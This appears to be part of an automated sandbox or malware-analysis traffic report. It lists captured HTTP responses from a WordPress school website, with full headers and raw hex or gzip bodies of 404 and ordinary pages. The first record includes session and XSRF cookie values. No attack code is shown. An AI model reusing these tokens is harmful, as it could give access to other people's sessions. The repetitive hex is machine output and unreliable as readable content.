Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveVary: Accept-EncodingCache-Control: no-cache, privateDate: Sun, 26 Nov 2023 05:59:59 GMTSet-Cookie: publishedsite-xsrf=eyJpdiI6IlorckNMbEF4ZmhzaXNzWkRXUFF1anc9PSIsInZhbHVlIjoib21hQzNVNm1JbzZvdHlPZlUzYW1QeVFpR0g2VkRNbkw2a1l3K0RIdHNxdHNhWStrSUN6dHN0L2FPd3JTdjh4WjVvd3UxbEMzb3VMeWRBVE1sRlFJQTBVTURsc3RtczhlWCtzQlIvZ2RQQ3FGVHRUUWJSRzVKejZzamVEaytkUzIiLCJtYWMiOiI5YzViNmZhZmM4OTAyMWQ1OGUyZjZlMjg2NTMzY2Y1NDA4YTQzNDMwMTZhMzNlNDU2MDhkYzM3N2E2MDc5ZGM3IiwidGFnIjoiIn0%3D; expires=Sun, 10-Dec-2023 05:59:59 GMT; Max-Age=1209600; path=/; samesite=laxSet-Cookie: XSRF-TOKEN=eyJpdiI6IkJZOU9NdmcrSEc1ZUlKdlc5UE4xTFE9PSIsInZhbHVlIjoiK0pDVEJMdGlkclhya09EMnMxVmVuWGtEdkd4ZXEzdDVTVlF0c0lvQzM3U0hTWFU3emtLRkExSmtrTlJ2aTlHMHhIR1d0dzZzS0FFN0srZklkbkhzNnJJQ1hsUlJrbUJKc0s2c0xZSlIrNmU3Qm5YUHpqeUhTWVZMMjVwZ1I2WVQiLCJtYWMiOiIwOGM2OTU4OWY1NjRkZGY5NTgyMzRhMzQ0Y2IzMWI3Y2Y5YWRhYWU0OGNmMTE3ZjIyMmY2ZmY4NjQyMzFjZmY2IiwidGFnIjoiIn0%3D; expires=Sun, 10-Dec-2023 05:59:59 GMT; Max-Age=1209600; path=/; samesite=laxSet-Cookie: PublishedSiteSession=eyJpdiI6Imp2NHlXTVlGa2hBNktWcnFZelRIR0E9PSIsInZhbHVlIjoiYjJyM3F4TkJrU09nUzkrRElWNjcvNVErcUpXNVZua0xPQlVVMVZHbnJwVUNnV09iUG52RWxoZData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:59 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://www.grg17geblergasse.at/wp-json/>; rel="https://api.w.org/"Transfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8Data Raw: 33 64 39 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 64 65 2d 44 45 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 67 72 67 31 37 67 65 62 6c 65 72 67 61 73 73 65 2e 61 74 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 0a 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 09 09 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 63 6c 61 73 73 4e 61 6d 65 20 3d 20 27 6a 73 27 3b 0a 09 3c 2f 73 63 72 69 70 74 3e 0a 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 7c 20 47 52 47 31 37 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 27 20 2f 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 09 09 09 6c 65 74 20 6a 71 75 65 72 79 50 61 72 61 6d 73 3d 5b 5d 2c 6a 51 75 65 72 79 3d 66 75 6e 63 74 69 6f 6e 28 72 29 7b 72 65 74 75 72 6e 20 6a 71 75 65 72 79 50 61 72 61 6d 73 3d 5b 2e 2e 2e 6a 71 75 65 72 79 50 61 72 61 6d 73 2c 72 5d 2c 6a 51 75 65 72 79 7d 2c 24 3d 66 75 6e 63 74 69 6f 6e 28 72 29 7b 72 65 74 75 72 6e 20 6a 71 75 65 72 79 50 61 72 61 6d 73 3d 5b 2e 2e 2e 6a 71 75 65 72 79 50 61 72 61 6d 73 2c 72 5d 2c 24 7d 3b 77 69 6e 64 6f 77 2e 6a 51 75 65 72 79 3d 6a 51 75 65 72 79 2c 77 69 6e 64 6f 77 2e 24 3d 6a 51 75 65 72 79 3b 6c 65 74 20 63 75 73 74 6f 6d 48 65 61 64 53 63 72 69 70 74 73 3d 21 31 3b 6a 51 75 65 72 79 2e 66 6e 3d 6a 51 75 65 72 79 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 7d 2c 24 2e 66 6e 3d 6a 51 75 65 72 79 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 7d 2c 6a 51 75 65 72 79 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 72 29 7b 69 66 28 77 69 6e 64 6f 77 2e 6a 51 75 65 72 79 29 72 65 74 75 72 6e 20 6a 51 75 65 72 79 3d 77 69 6e 64 6f 77 2e 6a 51 75 65 72 79 2c 24 3d 77 69 6e 64 6f 77 2e 6a 51 75 65 72 79 2c 63 75 73 74 6f 6d 48 65 61 64 53 63 72 69 70 74 73 3d 21 30 2c 6a 51 75 65 72 79 2e 6e 6f 43 6f 6e 66 6c 69 63 74 7d 2c 6a 51 75 65 72 79 2e 72 65 61 64 79 3d 66 75 6e 63 74 69 6f 6e 28 72 29 7b 6a 71 75 65 72 79 50 61 72 61 6d 73 3d 5b 2e 2e 2e 6a 71 75 65 72 79 50 61 72 61 6d 73 2c 72 5d 7d 2c 24 2e 72 65 61 64 79 3d 66 75 6e 63 74 69 6f 6e 28
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 06:00:00 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://www.grg17geblergasse.at/wp-json/>; rel="https://api.w.org/"Transfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8Data Raw: 33 64 39 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 64 65 2d 44 45 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 67 72 67 31 37 67 65 62 6c 65 72 67 61 73 73 65 2e 61 74 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 0a 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 09 09 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 63 6c 61 73 73 4e 61 6d 65 20 3d 20 27 6a 73 27 3b 0a 09 3c 2f 73 63 72 69 70 74 3e 0a 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 7c 20 47 52 47 31 37 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 27 20 2f 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 09 09 09 6c 65 74 20 6a 71 75 65 72 79 50 61 72 61 6d 73 3d 5b 5d 2c 6a 51 75 65 72 79 3d 66 75 6e 63 74 69 6f 6e 28 72 29 7b 72 65 74 75 72 6e 20 6a 71 75 65 72 79 50 61 72 61 6d 73 3d 5b 2e 2e 2e 6a 71 75 65 72 79 50 61 72 61 6d 73 2c 72 5d 2c 6a 51 75 65 72 79 7d 2c 24 3d 66 75 6e 63 74 69 6f 6e 28 72 29 7b 72 65 74 75 72 6e 20 6a 71 75 65 72 79 50 61 72 61 6d 73 3d 5b 2e 2e 2e 6a 71 75 65 72 79 50 61 72 61 6d 73 2c 72 5d 2c 24 7d 3b 77 69 6e 64 6f 77 2e 6a 51 75 65 72 79 3d 6a 51 75 65 72 79 2c 77 69 6e 64 6f 77 2e 24 3d 6a 51 75 65 72 79 3b 6c 65 74 20 63 75 73 74 6f 6d 48 65 61 64 53 63 72 69 70 74 73 3d 21 31 3b 6a 51 75 65 72 79 2e 66 6e 3d 6a 51 75 65 72 79 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 7d 2c 24 2e 66 6e 3d 6a 51 75 65 72 79 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 7d 2c 6a 51 75 65 72 79 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 72 29 7b 69 66 28 77 69 6e 64 6f 77 2e 6a 51 75 65 72 79 29 72 65 74 75 72 6e 20 6a 51 75 65 72 79 3d 77 69 6e 64 6f 77 2e 6a 51 75 65 72 79 2c 24 3d 77 69 6e 64 6f 77 2e 6a 51 75 65 72 79 2c 63 75 73 74 6f 6d 48 65 61 64 53 63 72 69 70 74 73 3d 21 30 2c 6a 51 75 65 72 79 2e 6e 6f 43 6f 6e 66 6c 69 63 74 7d 2c 6a 51 75 65 72 79 2e 72 65 61 64 79 3d 66 75 6e 63 74 69 6f 6e 28 72 29 7b 6a 71 75 65 72 79 50 61 72 61 6d 73 3d 5b 2e 2e 2e 6a 71 75 65 72 79 50 61 72 61 6d 73 2c 72 5d 7d 2c 24 2e 72 65 61 64 79 3d 66 75 6e 63 74 69 6f 6e 28
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 06:00:02 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://www.grg17geblergasse.at/wp-json/>; rel="https://api.w.org/"Transfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8Data Raw: 33 64 39 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 64 65 2d 44 45 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 67 72 67 31 37 67 65 62 6c 65 72 67 61 73 73 65 2e 61 74 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 0a 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 09 09 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 63 6c 61 73 73 4e 61 6d 65 20 3d 20 27 6a 73 27 3b 0a 09 3c 2f 73 63 72 69 70 74 3e 0a 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 7c 20 47 52 47 31 37 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 27 20 2f 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 09 09 09 6c 65 74 20 6a 71 75 65 72 79 50 61 72 61 6d 73 3d 5b 5d 2c 6a 51 75 65 72 79 3d 66 75 6e 63 74 69 6f 6e 28 72 29 7b 72 65 74 75 72 6e 20 6a 71 75 65 72 79 50 61 72 61 6d 73 3d 5b 2e 2e 2e 6a 71 75 65 72 79 50 61 72 61 6d 73 2c 72 5d 2c 6a 51 75 65 72 79 7d 2c 24 3d 66 75 6e 63 74 69 6f 6e 28 72 29 7b 72 65 74 75 72 6e 20 6a 71 75 65 72 79 50 61 72 61 6d 73 3d 5b 2e 2e 2e 6a 71 75 65 72 79 50 61 72 61 6d 73 2c 72 5d 2c 24 7d 3b 77 69 6e 64 6f 77 2e 6a 51 75 65 72 79 3d 6a 51 75 65 72 79 2c 77 69 6e 64 6f 77 2e 24 3d 6a 51 75 65 72 79 3b 6c 65 74 20 63 75 73 74 6f 6d 48 65 61 64 53 63 72 69 70 74 73 3d 21 31 3b 6a 51 75 65 72 79 2e 66 6e 3d 6a 51 75 65 72 79 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 7d 2c 24 2e 66 6e 3d 6a 51 75 65 72 79 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 7d 2c 6a 51 75 65 72 79 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 72 29 7b 69 66 28 77 69 6e 64 6f 77 2e 6a 51 75 65 72 79 29 72 65 74 75 72 6e 20 6a 51 75 65 72 79 3d 77 69 6e 64 6f 77 2e 6a 51 75 65 72 79 2c 24 3d 77 69 6e 64 6f 77 2e 6a 51 75 65 72 79 2c 63 75 73 74 6f 6d 48 65 61 64 53 63 72 69 70 74 73 3d 21 30 2c 6a 51 75 65 72 79 2e 6e 6f 43 6f 6e 66 6c 69 63 74 7d 2c 6a 51 75 65 72 79 2e 72 65 61 64 79 3d 66 75 6e 63 74 69 6f 6e 28 72 29 7b 6a 71 75 65 72 79 50 61 72 61 6d 73 3d 5b 2e 2e 2e 6a 71 75 65 72 79 50 61 72 61 6d 73 2c 72 5d 7d 2c 24 2e 72 65 61 64 79 3d 66 75 6e 63 74 69 6f 6e 28
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 06:00:05 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://www.grg17geblergasse.at/wp-json/>; rel="https://api.w.org/"Transfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8Data Raw: 33 64 39 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 64 65 2d 44 45 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 67 72 67 31 37 67 65 62 6c 65 72 67 61 73 73 65 2e 61 74 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 0a 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 09 09 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 63 6c 61 73 73 4e 61 6d 65 20 3d 20 27 6a 73 27 3b 0a 09 3c 2f 73 63 72 69 70 74 3e 0a 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 7c 20 47 52 47 31 37 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 27 20 2f 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 09 09 09 6c 65 74 20 6a 71 75 65 72 79 50 61 72 61 6d 73 3d 5b 5d 2c 6a 51 75 65 72 79 3d 66 75 6e 63 74 69 6f 6e 28 72 29 7b 72 65 74 75 72 6e 20 6a 71 75 65 72 79 50 61 72 61 6d 73 3d 5b 2e 2e 2e 6a 71 75 65 72 79 50 61 72 61 6d 73 2c 72 5d 2c 6a 51 75 65 72 79 7d 2c 24 3d 66 75 6e 63 74 69 6f 6e 28 72 29 7b 72 65 74 75 72 6e 20 6a 71 75 65 72 79 50 61 72 61 6d 73 3d 5b 2e 2e 2e 6a 71 75 65 72 79 50 61 72 61 6d 73 2c 72 5d 2c 24 7d 3b 77 69 6e 64 6f 77 2e 6a 51 75 65 72 79 3d 6a 51 75 65 72 79 2c 77 69 6e 64 6f 77 2e 24 3d 6a 51 75 65 72 79 3b 6c 65 74 20 63 75 73 74 6f 6d 48 65 61 64 53 63 72 69 70 74 73 3d 21 31 3b 6a 51 75 65 72 79 2e 66 6e 3d 6a 51 75 65 72 79 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 7d 2c 24 2e 66 6e 3d 6a 51 75 65 72 79 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 7d 2c 6a 51 75 65 72 79 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 72 29 7b 69 66 28 77 69 6e 64 6f 77 2e 6a 51 75 65 72 79 29 72 65 74 75 72 6e 20 6a 51 75 65 72 79 3d 77 69 6e 64 6f 77 2e 6a 51 75 65 72 79 2c 24 3d 77 69 6e 64 6f 77 2e 6a 51 75 65 72 79 2c 63 75 73 74 6f 6d 48 65 61 64 53 63 72 69 70 74 73 3d 21 30 2c 6a 51 75 65 72 79 2e 6e 6f 43 6f 6e 66 6c 69 63 74 7d 2c 6a 51 75 65 72 79 2e 72 65 61 64 79 3d 66 75 6e 63 74 69 6f 6e 28 72 29 7b 6a 71 75 65 72 79 50 61 72 61 6d 73 3d 5b 2e 2e 2e 6a 71 75 65 72 79 50 61 72 61 6d 73 2c 72 5d 7d 2c 24 2e 72 65 61 64 79 3d 66 75 6e 63 74 69 6f 6e 28

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKConnection: Keep-AliveKeep-Alive: timeout=5, max=100x-powered-by: PHP/7.4.33expires: Wed, 11 Jan 1984 05:00:00 GMTcache-control: no-cache, must-revalidate, max-age=0content-type: text/html; charset=UTF-8set-cookie: wordpress_test_cookie=WP%20Cookie%20check; path=/x-frame-options: SAMEORIGINreferrer-policy: strict-origin-when-cross-origincontent-length: 1955content-encoding: gzipvary: Accept-Encodingdate: Sun, 26 Nov 2023 05:59:34 GMTserver: LiteSpeedData Raw: 1f 8b 08 00 00 00 00 00 00 03 bd 58 6d 6f db 38 12 fe 6c ff 0a 2e 17 a8 92 45 24 d9 49 9a 17 5b 72 d1 6b 7b 77 0b b4 b7 c1 35 bd c5 a1 29 02 9a 1a 59 74 28 52 25 29 2b de 20 ff fd 40 52 72 e4 ed b6 49 8a e6 3e 89 12 67 86 cf bc 0f 95 fc f4 fa b7 57 e7 ff 3d 7b 83 0a 53 f2 d9 70 90 d8 27 e2 44 2c 52 0c 22 fc f0 1e 0f 07 95 82 9c 5d a7 58 2e 26 a8 30 a6 d2 93 38 96 8b 2a 2a 21 16 fa 67 8c 1c 1b 90 cc 3e 4b 30 c4 11 85 f0 b9 66 ab 14 bf 92 c2 80 30 e1 f9 ba 02 8c a8 7f 4b b1 81 6b 13 db b3 a6 88 16 44 69 30 e9 87 f3 bf 87 27 18 c5 56 8c 61 86 c3 ec ad 5c a0 5f 05 7a c6 35 f9 5c cb 29 fa e7 3b 46 0b 02 1c 3d 23 65 35 45 af 64 84 9e fd 7c b2 3f de 9f a2 df a5 ca ce 14 68 9d c4 9e b7 c3 22 48 09 69 a0 e4 5c 1a 1d 6c ce 0f 4a 72 1d b2 92 2c 20 ac 14 ac 18 34 13 4e d4 02 f6 90 90 4c 64 70 6d 17 44 d1 82 ad 20 b0 90 12 ce c4 15 52 c0 d3 20 13 da 32 e5 60 68 11 a0 42 41 9e 06 71 ac a3 26 92 6a f1 67 62 6d d6 1c 74 01 60 02 c4 b2 34 c8 88 2e 18 95 42 87 54 eb 00 b5 ec d6 aa 93 38 2e 4a af 1f 11 19 95 11 95 65 dc 54 21 13 94 d7 19 e8 98 6a 1d 6f d8 a3 92 89 88 6a fd 62 05 2a 3d 8a 46 d1 51 80 cc ba 82 34 70 96 75 c2 4b c8 18 49 03 c2 f9 7d a8 e6 b5 31 df 8d a9 65 fe b1 88 72 a9 ca 87 db 88 64 25 13 ce 40 8e ef c7 42 e1 e3 91 78 b0 b7 ee 90 58 b6 1f 0c 44 2e d8 77 21 b1 7c df 01 a5 cd e6 36 83 20 07 a5 40 f5 72 48 1b c5 a8 09 a5 62 16 57 53 80 08 a9 92 5a b7 5f 5c d0 0d fa 42 b0 4d b4 4a 2a d3 2b 04 0d cb 4c 91 66 b0 62 14 42 f7 e2 4b c0 20 89 8b b6 a6 cc 65 b6 46 94 13 ad 53 cc ad 2e 48 c8 70 a9 91 5b 87 84 1a 26 45 e8 37 9a 2a a4 52 41 58 33 84 b8 a4 84 43 08 22 ac 35 b6 45 45 53 c5 2a e3 d3 c4 17 a0 25 59 11 ff d5 12 0c 32 49 eb 12 84 89 ec 89 91 3b f1 5f a4 04 94 a2 af ec 44 0a 2a 4e 28 ec 04 0e 51 b0 17 2c 75 b0 3b 1d 0e 92 d8 8b b5 52 93 8c ad 6c ee 7b ec ee a0 a4 18 cf 12 e2 93 1f 77 25 b5 91 2a ab 6c 09 b3 75 24 c6 b3 33 d9 80 82 0c cd d7 fd ea 46 66 49 5c 8c 67 c3 81 95 6c a3 1d 39 ff 78 e1 f6 1d df 9d e5 5f bd 81 52 77 ce d7 8a 8c b3 5e 54 15 15 46 25 98 42 66 29 ae a4 36 0e ec 20 a9 ac 1a 83 41 c2 c9 1c 38 ca a5 4a 71 ad 41 5d 3a 2e 3c fb a0 41 59 10 48 2a f4 a6 24 8c a3 97 59 e6 6b b1 e3 68 b9 99 a8 ea be f5 f1 1d 72 8f b9 27 b3 73 b7 e3 c1 68 45 78 0d 29 c6 48 b3 3f 20 c5 fb 23 8c 48 6d 24 25 15 33 84 bb 6f 32 cf db 8f b2 ac 38 18 f0 18 2d ae 36 a0 06 49 5c cd 86 56 13 e7 91 36 a0 ec a1 61 45 b4 0e 1b 45 2a af f0 Data Ascii: Xmo8l.E$I[rk{w5)Yt(R%)+ @RrI>gW={Sp'D,R"]X.&08
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKConnection: Keep-AliveKeep-Alive: timeout=5, max=100x-powered-by: PHP/7.4.33expires: Wed, 11 Jan 1984 05:00:00 GMTcache-control: no-cache, must-revalidate, max-age=0content-type: text/html; charset=UTF-8set-cookie: wordpress_test_cookie=WP%20Cookie%20check; path=/x-frame-options: SAMEORIGINreferrer-policy: strict-origin-when-cross-origincontent-length: 1955content-encoding: gzipvary: Accept-Encodingdate: Sun, 26 Nov 2023 05:59:38 GMTserver: LiteSpeedData Raw: 1f 8b 08 00 00 00 00 00 00 03 bd 58 6d 6f db 38 12 fe 6c ff 0a 2e 17 a8 92 45 24 d9 49 9a 17 5b 72 d1 6b 7b 77 0b b4 b7 c1 35 bd c5 a1 29 02 9a 1a 59 74 28 52 25 29 2b de 20 ff fd 40 52 72 e4 ed b6 49 8a e6 3e 89 12 67 86 cf bc 0f 95 fc f4 fa b7 57 e7 ff 3d 7b 83 0a 53 f2 d9 70 90 d8 27 e2 44 2c 52 0c 22 fc f0 1e 0f 07 95 82 9c 5d a7 58 2e 26 a8 30 a6 d2 93 38 96 8b 2a 2a 21 16 fa 67 8c 1c 1b 90 cc 3e 4b 30 c4 11 85 f0 b9 66 ab 14 bf 92 c2 80 30 e1 f9 ba 02 8c a8 7f 4b b1 81 6b 13 db b3 a6 88 16 44 69 30 e9 87 f3 bf 87 27 18 c5 56 8c 61 86 c3 ec ad 5c a0 5f 05 7a c6 35 f9 5c cb 29 fa e7 3b 46 0b 02 1c 3d 23 65 35 45 af 64 84 9e fd 7c b2 3f de 9f a2 df a5 ca ce 14 68 9d c4 9e b7 c3 22 48 09 69 a0 e4 5c 1a 1d 6c ce 0f 4a 72 1d b2 92 2c 20 ac 14 ac 18 34 13 4e d4 02 f6 90 90 4c 64 70 6d 17 44 d1 82 ad 20 b0 90 12 ce c4 15 52 c0 d3 20 13 da 32 e5 60 68 11 a0 42 41 9e 06 71 ac a3 26 92 6a f1 67 62 6d d6 1c 74 01 60 02 c4 b2 34 c8 88 2e 18 95 42 87 54 eb 00 b5 ec d6 aa 93 38 2e 4a af 1f 11 19 95 11 95 65 dc 54 21 13 94 d7 19 e8 98 6a 1d 6f d8 a3 92 89 88 6a fd 62 05 2a 3d 8a 46 d1 51 80 cc ba 82 34 70 96 75 c2 4b c8 18 49 03 c2 f9 7d a8 e6 b5 31 df 8d a9 65 fe b1 88 72 a9 ca 87 db 88 64 25 13 ce 40 8e ef c7 42 e1 e3 91 78 b0 b7 ee 90 58 b6 1f 0c 44 2e d8 77 21 b1 7c df 01 a5 cd e6 36 83 20 07 a5 40 f5 72 48 1b c5 a8 09 a5 62 16 57 53 80 08 a9 92 5a b7 5f 5c d0 0d fa 42 b0 4d b4 4a 2a d3 2b 04 0d cb 4c 91 66 b0 62 14 42 f7 e2 4b c0 20 89 8b b6 a6 cc 65 b6 46 94 13 ad 53 cc ad 2e 48 c8 70 a9 91 5b 87 84 1a 26 45 e8 37 9a 2a a4 52 41 58 33 84 b8 a4 84 43 08 22 ac 35 b6 45 45 53 c5 2a e3 d3 c4 17 a0 25 59 11 ff d5 12 0c 32 49 eb 12 84 89 ec 89 91 3b f1 5f a4 04 94 a2 af ec 44 0a 2a 4e 28 ec 04 0e 51 b0 17 2c 75 b0 3b 1d 0e 92 d8 8b b5 52 93 8c ad 6c ee 7b ec ee a0 a4 18 cf 12 e2 93 1f 77 25 b5 91 2a ab 6c 09 b3 75 24 c6 b3 33 d9 80 82 0c cd d7 fd ea 46 66 49 5c 8c 67 c3 81 95 6c a3 1d 39 ff 78 e1 f6 1d df 9d e5 5f bd 81 52 77 ce d7 8a 8c b3 5e 54 15 15 46 25 98 42 66 29 ae a4 36 0e ec 20 a9 ac 1a 83 41 c2 c9 1c 38 ca a5 4a 71 ad 41 5d 3a 2e 3c fb a0 41 59 10 48 2a f4 a6 24 8c a3 97 59 e6 6b b1 e3 68 b9 99 a8 ea be f5 f1 1d 72 8f b9 27 b3 73 b7 e3 c1 68 45 78 0d 29 c6 48 b3 3f 20 c5 fb 23 8c 48 6d 24 25 15 33 84 bb 6f 32 cf db 8f b2 ac 38 18 f0 18 2d ae 36 a0 06 49 5c cd 86 56 13 e7 91 36 a0 ec a1 61 45 b4 0e 1b 45 2a af f0 Data Ascii: Xmo8l.E$I[rk{w5)Yt(R%)+ @RrI>gW={Sp'D,R"]X.&08
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKConnection: Keep-AliveKeep-Alive: timeout=5, max=100x-powered-by: PHP/7.4.33expires: Wed, 11 Jan 1984 05:00:00 GMTcache-control: no-cache, must-revalidate, max-age=0content-type: text/html; charset=UTF-8set-cookie: wordpress_test_cookie=WP%20Cookie%20check; path=/x-frame-options: SAMEORIGINreferrer-policy: strict-origin-when-cross-origincontent-length: 2117content-encoding: gzipvary: Accept-Encodingdate: Sun, 26 Nov 2023 05:59:39 GMTserver: LiteSpeedData Raw: 1f 8b 08 00 00 00 00 00 00 03 bd 58 6d 6f db 38 12 fe ec fc 8a 59 2e 50 25 8b 48 b2 93 34 49 6d c9 45 af ed dd 15 68 6f 8b 6b 